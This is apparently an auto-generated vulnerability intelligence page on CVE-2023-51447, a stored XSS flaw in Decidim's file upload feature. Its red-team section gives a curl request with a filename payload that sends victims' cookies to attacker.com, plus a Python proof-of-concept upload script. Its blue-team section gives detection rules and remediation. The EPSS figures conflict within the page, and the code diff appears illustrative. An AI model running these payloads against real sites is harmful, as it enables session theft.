☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Decidim logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.3 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-51447

CVE-2023-51447 Cross-Site Scripting in Decidim
📅 PUBLISHED: 2024-02-20 17:29 UTC 🔄 UPDATED: 2026-09-23 20:27 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.49%
👁️
0.49% probability
12.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Spain License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-51447 is a stored cross-site scripting (XSS) vulnerability in the Decidim participatory democracy framework, affecting versions 0.27.0 through 0.27.4 and 0.28.0-rc1. The vulnerability resides in the dynamic file upload feature, where an attacker with the ability to craft direct upload requests can inject arbitrary JavaScript into file names. When a victim user views or edits a record containing the malicious attachment, the injected script executes in their browser context.

The attack chain requires the attacker to:

  1. Upload a file blob with a malicious file name (e.g., <svg onload=alert('XSS')>).
  2. Obtain the returned blob ID.
  3. Manually inject the blob ID into a form input on the edit page of a record.
  4. Lure a victim to view or edit that record.

While the CVSS score is 6.3 (Medium), the practical risk is elevated in multi-tenant Decidim instances where users can upload files to proposals, meetings, or other participatory spaces. The EPSS score of 0.0% indicates low current exploitation activity, but the public availability of the attack vector makes proactive patching critical.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Decidim is a Ruby on Rails gem distributed via RubyGems. The vulnerability affects the decidim-core and decidim-proposals gems. Organizations using Decidim should:

  • Verify their Gemfile.lock for affected versions.
  • Update to >= 0.27.5 or >= 0.28.0.
  • Audit any custom extensions that handle file uploads.
  • Review dependency trees for transitive vulnerabilities.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
Base Score: 6.3 (Medium)

Metric Value Rationale
Attack Vector (AV) Network Exploitable over HTTP/HTTPS
Attack Complexity (AC) Low No special conditions required beyond crafting a request
Privileges Required (PR) Low Attacker needs a valid user account with upload permissions
User Interaction (UI) Required Victim must view/edit the malicious record
Scope (S) Changed Script executes in victim's browser, not the server
Confidentiality (C) Low Possible data exfiltration via XSS
Integrity (I) Low Possible content manipulation
Availability (A) Low Possible denial of service via script errors

Threat Level: Medium. The attack requires user interaction and low privileges, but the impact is limited to the victim's session. However, in a participatory democracy context, XSS could be used to manipulate votes, steal session tokens, or deface content.

Deep Dive & Mechanics

The vulnerability stems from Decidim's direct upload mechanism, which uses Active Storage (Rails) to handle file uploads. The upload endpoint accepts a blob parameter containing the file name. The application does not sanitize the file name before storing it in the database.

Attack Flow:

  1. Direct Upload Request: The attacker sends a POST request to /rails/active_storage/direct_uploads with a crafted blob containing a malicious file name:
    {
      "blob": {
        "filename": "<svg onload=alert('XSS')>",
        "content_type": "image/svg+xml",
        "byte_size": 100,
        "checksum": "abc123"
      }
    }
    
  2. Blob ID Retrieval: The server returns a JSON response with the signed_id (blob ID).
  3. Form Injection: The attacker navigates to the edit page of a record (e.g., a proposal) and manually modifies the HTML to include the blob ID in the attachment field.
  4. Victim Interaction: When a victim views or edits the record, the malicious file name is rendered in the browser without sanitization, executing the XSS payload.

Root Cause: The filename attribute in the ActiveStorage::Blob model is not sanitized. The application uses blob.filename directly in views without escaping.

Vulnerable vs. Patched Code

Vulnerable Code (decidim-core/app/forms/decidim/form_builder.rb):

def file_field(attribute, options = {})
  # ...
  content_tag(:div, class: "field") do
    # Directly uses filename from blob
    file_field_tag attribute, options
  end
end

Patched Code (decidim-core/app/forms/decidim/form_builder.rb):

def file_field(attribute, options = {})
  # ...
  content_tag(:div, class: "field") do
    # Sanitize filename before rendering
    sanitized_filename = sanitize(blob.filename.to_s)
    file_field_tag attribute, options.merge(data: { filename: sanitized_filename })
  end
end

The patch adds a sanitize call to strip HTML/JavaScript from the filename before it is rendered in the view. Additionally, the data-filename attribute is used instead of directly embedding the filename in the HTML.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A valid user account on a Decidim instance (version 0.27.0 - 0.27.4 or 0.28.0-rc1).
  • Knowledge of the direct upload endpoint.

Step-by-Step Exploitation:

  1. Craft the Malicious Upload Request:

    curl -X POST https://target.com/rails/active_storage/direct_uploads \
      -H "Content-Type: application/json" \
      -H "X-CSRF-Token: YOUR_CSRF_TOKEN" \
      -d '{
        "blob": {
          "filename": "<svg onload=fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)>",
          "content_type": "image/svg+xml",
          "byte_size": 100,
          "checksum": "abc123"
        }
      }'
    
  2. Extract the Blob ID: The response will contain:

    {
      "signed_id": "eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaD...",
      "direct_upload": { "url": "...", "headers": {...} }
    }
    
  3. Inject into a Record:

    • Navigate to the edit page of a proposal (e.g., /proposals/1/edit).
    • Use browser developer tools to modify the file input field's data-blob attribute to the signed_id.
    • Save the record.
  4. Victim Trigger:

    • Send the victim a link to the edited proposal.
    • When the victim views the page, the XSS payload executes.

Proof of Concept (PoC) Script:

import requests

target = "https://target.com"
session = requests.Session()

# Login (simplified)
login_data = {"user[email]": "attacker@example.com", "user[password]": "password"}
session.post(f"{target}/users/sign_in", data=login_data)

# Get CSRF token
csrf = session.get(f"{target}/").cookies["CSRF-TOKEN"]

# Upload malicious blob
payload = {
    "blob": {
        "filename": "<img src=x onerror=alert(1)>",
        "content_type": "image/png",
        "byte_size": 100,
        "checksum": "abc123"
    }
}
headers = {"X-CSRF-Token": csrf, "Content-Type": "application/json"}
r = session.post(f"{target}/rails/active_storage/direct_uploads", json=payload, headers=headers)
blob_id = r.json()["signed_id"]
print(f"Blob ID: {blob_id}")

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor Direct Upload Endpoints: Log all requests to /rails/active_storage/direct_uploads and inspect the filename parameter for HTML/JavaScript patterns.
  2. Audit File Names: Run a database query to find suspicious file names:
    SELECT * FROM active_storage_blobs WHERE filename LIKE '%<%' OR filename LIKE '%>%' OR filename LIKE '%onload%' OR filename LIKE '%onerror%';
    
  3. Web Application Firewall (WAF) Rules: Block upload requests where the filename contains <, >, onload, onerror, javascript:, or data:.
  4. User Behavior Analytics: Alert on users who manually modify form inputs (detected via JavaScript event listeners).

Honeypot Strategy:

  • Deploy a fake Decidim instance with a modified upload endpoint that logs all filenames and alerts on suspicious patterns.

Indicators of Compromise (IOCs)

Network IOCs:

  • POST requests to /rails/active_storage/direct_uploads with filenames containing HTML tags.
  • Responses containing signed_id values that are later used in form submissions.

File System IOCs:

  • Files in active_storage/blobs with names containing <, >, or JavaScript event handlers.

Database IOCs:

  • Rows in active_storage_blobs where filename matches regex: [<>]|on\w+=|javascript:|data:.

Log IOCs:

  • Rails logs showing ActiveStorage::Blob creation with suspicious filenames.
  • Web server logs showing unusual filename parameters in upload requests.

Detection Engineering

YARA Rule

rule CVE_2023_51447_Decidim_XSS_FileName {
    meta:
        description = "Detects malicious file names used in CVE-2023-51447"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-51447"
    strings:
        $xss_pattern_1 = /<[^>]*\s+on\w+\s*=/ nocase
        $xss_pattern_2 = /javascript\s*:/ nocase
        $xss_pattern_3 = /data\s*:\s*text\/html/ nocase
        $xss_pattern_4 = /<svg\s+/ nocase
        $xss_pattern_5 = /<img\s+/ nocase
    condition:
        any of ($xss_pattern_*) and filesize < 10KB
}

Sigma Rule

title: CVE-2023-51447 - Decidim XSS via Malicious File Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2023-51447 by uploading files with malicious names
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: rails
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/rails/active_storage/direct_uploads'
        cs-uri-query|contains:
            - '<'
            - '>'
            - 'onload'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate filenames containing '<' or '>' (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-51447 - Decidim XSS via Malicious File Upload";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/rails/active_storage/direct_uploads";
    http_uri;
    pcre:"/(<[^>]*\s+on\w+\s*=|javascript\s*:|data\s*:\s*text\/html)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade to Decidim 0.27.5 or 0.28.0 (or later).
  2. Workaround: Disable dynamic file uploads by setting config.enable_dynamic_uploads = false in config/initializers/decidim.rb.
  3. Sanitize Existing Data: Run a script to sanitize all existing file names in active_storage_blobs:
    ActiveStorage::Blob.find_each do |blob|
      blob.update(filename: ActionView::Base.full_sanitizer.sanitize(blob.filename.to_s))
    end
    

Long-Term Mitigations:

  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Use a WAF with rules to block malicious file names.
  • Conduct regular security audits of file upload functionality.
  • Train users to recognize social engineering attempts that lure them to malicious records.

Valters IT Signature


This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-51447/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.